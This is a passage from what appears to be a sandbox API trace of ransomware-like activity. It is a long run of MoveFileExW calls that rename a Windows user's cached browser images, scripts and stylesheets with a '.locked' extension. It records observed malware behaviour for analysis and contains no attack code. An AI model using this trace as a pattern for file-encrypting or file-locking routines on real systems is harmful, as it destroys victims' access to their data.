halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeP0k[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeep0k[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.951] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEeTuf[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeetuf[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.956] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfE6e[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefe6e[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.975] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEfjuT[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbefjut[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.986] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEg9QV[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeg9qv[1].jpg.locked"), dwFlags=0x2) returned 1 [0143.992] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgGSl[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbeggsl[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.005] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgiYw[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegiyw[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.015] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgJfz[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegjfz[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.021] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgqtY[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegqty[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.041] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgsz3[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegsz3[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.066] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.076] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgtcS[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegtcs[2].jpg.locked"), dwFlags=0x2) returned 1 [0144.081] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.085] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgx5f[2].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegx5f[2].jpg.locked"), dwFlags=0x2) returned 1 [0144.110] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBEgyIm[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbegyim[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.114] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbg3odx[2].png.locked"), dwFlags=0x2) returned 1 [0144.117] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBiyCq[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbiycq[1].png.locked"), dwFlags=0x2) returned 1 [0144.120] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBn4lUU[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbn4luu[1].png.locked"), dwFlags=0x2) returned 1 [0144.149] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBnMKeN[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbnmken[1].png.locked"), dwFlags=0x2) returned 1 [0144.195] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBwGan9[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbwgan9[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.199] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBz3ebk[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbz3ebk[1].png.locked"), dwFlags=0x2) returned 1 [0144.213] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\benefits-5-mobile[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\benefits-5-mobile[1].png.locked"), dwFlags=0x2) returned 1 [0144.280] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.423] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[1].js.locked"), dwFlags=0x2) returned 1 [0144.428] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[2].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[2].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[2].js.locked"), dwFlags=0x2) returned 1 [0144.430] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\css[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\css[2].txt.locked"), dwFlags=0x2) returned 1 [0144.477] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\fallback_728x90[1].jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\fallback_728x90[1].jpg.locked"), dwFlags=0x2) returned 1 [0144.485] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ie8[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ie8[1].txt.locked"), dwFlags=0x2) returned 1 [0144.680] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\plusone[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\plusone[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\plusone[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\plusone[1].js.locked"), dwFlags=0x2) returned 1 [0145.083] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\uhf-west-european-default.min[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\uhf-west-european-default.min[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\uhf-west-european-default.min[1].css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\uhf-west-european-default.min[1].css.locked"), dwFlags=0x2) returned 1 [0145.091] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\WebCore.4.19.0.ltr.light.min[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\webcore.4.19.0.ltr.light.min[1].css"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\WebCore.4.19.0.ltr.light.min[1].css.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\webcore.4.19.0.ltr.light.min[1].css.locked"), dwFlags=0x2) returned 1 [0145.201] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\000000929096[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\000000929096[1].gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\000000929096[1].gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\000000929096[1].gif.locked"), dwFlags=0x2) returned 1 [0145.475] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\1223855322-postmessagerelay[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\1223855322-postmessagerelay[1].js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\1223855322-postmessagerelay[1].js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\1223855322-postmessagerelay[1].js.locked"), dwFlags=0x2) returned 1 [0145.479] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png.locked"), dwFlags=0x2) returned 1 [0145.482] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png.locked"), dwFlags=0x2) returned 1 [0145.485] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 